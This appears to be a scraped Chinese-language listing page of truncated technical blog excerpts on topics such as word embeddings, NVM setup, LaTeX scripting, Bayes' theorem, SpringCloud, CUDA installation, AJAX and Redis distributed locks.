NLP学习笔记四-word embeding word embeding就是一块重头戏了&#xff0c;因为这里做完&#xff0c;我们的数据处理部分也基本上收尾了。 下面我们附上一张图&#xff1a; 如上图&#xff0c;word embeding实在我们one-hot word之后才可以进行的&#xff0c;每一步处理技术都是…

NVM安装(管理Node.js版本)

NVM可以在一台电脑上安装多个版本Node.js&#xff0c;并且可以一条指令随时下载或切换版本 下载安装 github下载地址&#xff1a;https://github.com/coreybutler/nvm-windows/releases 一路next&#xff0c;注意修改安装路径即可&#xff08;不要安装在有中文名称的目录下&am…

Latex图表制作:关于EPS文件转PDF文件及PDF裁剪自动化的Shell脚本制作

关于EPS文件转PDF文件及PDF裁剪自动化的Shell脚本制作 前言一、EPS文件转PDF文件1. 过去的科研绘图方案2. 未来的科研绘图方案 二、使用步骤1. 单例操作a. 安装epstoolb. 切除EPS文件白边并保存临时EPS文件d. 将EPS文件转换为PDF文件 2. 批处理操作a. Shell 脚本b. 使用说明 参…

贝叶斯公式的理解与推导(简单版本)

院子里面有条狗&#xff0c;过去几十年中&#xff0c;平均100天狗会叫50天&#xff0c;平均100天被偷盗一次&#xff0c;偷盗时有90%概率狗会叫&#xff0c;请问当狗叫的时候&#xff0c;是小偷入侵的概率有多大&#xff1f; 分析&#xff1a; 狗叫为独立事件A&#xff0c;偷盗…

chatgpt赋能python:Python如何将PDF转换为Word文档

Python如何将PDF转换为Word文档 在现代电脑使用的日常工作中&#xff0c;PDF格式的文档已经变得很普遍。这种文件格式十分方便&#xff0c;但是有时候可能需要将PDF文件转换为Word文档。幸运的是&#xff0c;Python提供了多种方法来实现这个目标。 为什么要将PDF转换为Word&a…

6. 常见的文件编码方式及查看网页源码的编码方式

6. 常见的文件编码方式及查看网页源码的编码方式 文章目录 6. 常见的文件编码方式及查看网页源码的编码方式1. 编码的由来2. 编码的作用3. 常见的编码方式4. ASCII码5. Unicode符号集6. UTF-87. GB23128. GBK9. ISO-8859-110. 文件编码查看方式11. 网页编码查看方式12. 留言 1.…

【学习日记2023.6.9】之 SpringCloud入门

文章目录 SpringCloud1. 认识微服务1.1 单体架构1.2 分布式架构1.3 微服务1.4 SpringCloud1.5 总结 2. 服务拆分和远程调用2.1 服务拆分原则2.2 服务拆分示例2.2.1 导入Sql语句2.2.2 导入demo工程 2.3 实现远程调用案例2.3.1 案例需求&#xff1a;2.3.2 注册RestTemplate2.3.3 …

计算机组成原理——总线,输入输出系统

文章目录 **一 总线概述****1 总线基本概念****1.1 定义****1.2 总线设备****1.3 总线特性** **2 总线的分类****2.1 片内总线****2.2 系统总线****2.3 I/O总线****2.4 通信总线** **3 系统总线的结构****3.1 单总线结构****3.2 双总线结构****3.3 三总线结构** **4 常见的总线…

TextDiffuser: Diffusion Models as Text Painters

TextDiffuser: Diffusion Models as Text Painters (Paper reading) Jingye Chen, HKUST, HK, arXiv2023, Cited: 0, Code, Paper 1. 前言 扩散模型因其出色的生成能力而受到越来越多的关注&#xff0c;但目前在生成准确连贯的文本方面仍存在困难。为了解决这个问题&#xf…

chatgpt赋能python:Python怎么进行302跳转以提高SEO

Python怎么进行302跳转以提高SEO 在进行搜索引擎优化时&#xff0c;重点是提高网站的排名和流量。其中一个关键的因素就是网页的重定向。在Python中&#xff0c;使用302重定向可以为您的网页提供更好的SEO效果。 什么是302跳转&#xff1f; 302跳转指的是HTTP状态码302 Foun…

chatgpt赋能python:Python教程:如何使用Python在U盘上新建文件?

Python教程&#xff1a;如何使用Python在U盘上新建文件&#xff1f; 如果您是一名经验丰富的Python开发人员&#xff0c;那么您可能已经使用Python进行过很多任务。但是&#xff0c;您是否曾经问过自己如何在U盘上使用Python来新建文件&#xff1f;这篇文章将带您逐步了解如何…

chatgpt赋能python:Python中如何使用正弦函数进行数学计算

Python中如何使用正弦函数进行数学计算 正弦函数是数学中经常使用的一种三角函数&#xff0c;可用于测量角度和距离等。Python是一种可以跨平台使用的高级编程语言&#xff0c;它具有许多内置函数来进行数学计算。在Python中使用正弦函数&#xff0c;可以通过输入角度或弧度来…

【AI】Ubuntu20.04安装cuda、cuDNN、Anacodna、PyTorch

1、版本选择 1)选择PyTorch版本:2.0.1 2)对应的CUDA版本:11.7或者11.8,选择较新的11.8 3)确定显卡是否支持,使用命令nvidia-smi查看显卡驱动版本及支持的CUDA最高的版本,本人的为12 4)cuDNN版本 选择和CUDA版本对应的最新版本v8.9.1 2、下载 2.1 下载CUDA 各个…

力扣高频SQL50题(基础版)——第九天

力扣高频SQL50题(基础版)——第九天 1 销售分析Ⅲ 1.1 题目内容 1.1.1 基本题目信息1 1.1.2 基本题目信息2 1.1.3 示例输入输出 1.2 示例sql语句 # 找到不在春季销售的产品 然后不是这些的就是符合条件的 # QUARTER 返回日期是第几季度的 SELECT product_id,product_name F…

AJAX:

目录 AJAX简介&#xff1a; 特点&#xff1a; 优点&#xff1a; 缺点&#xff1a; http请求报文和响应报文&#xff1a; AJAX代码实现&#xff1a; 发送get请求&#xff1a; 发送post请求&#xff1a; ​服务器响应json数据&#xff1a; ​AJAX的问题处理&#xff1a…

从零开始:如何用Python建立你的第一个人工智能模型

1. 摘要&#xff1a; 在这篇文章中&#xff0c;我们将介绍如何从零开始使用Python建立你的第一个人工智能模型。无论你是刚接触编程的新手&#xff0c;还是有经验的开发者想进一步探索人工智能领域&#xff0c;这篇文章都将为你提供清晰、详细的指南。我们将一步步探索数据预处…

[分布式锁]:Redis与Redisson

文章目录 1 分布式锁1.1 为什么需要分布式锁&#xff1f;1.1.1 引入业务场景1.1..2 本地锁与分布式锁 1.2 分布式锁核心思想1.3 基于Redis实现分布式锁1.3.1 基于Redis实现分布式锁问题1.3.2 问题时间线分析 2 Redisson入门2.1 Redisson快速实现2.2 开门狗机制2.3 加锁的实现原…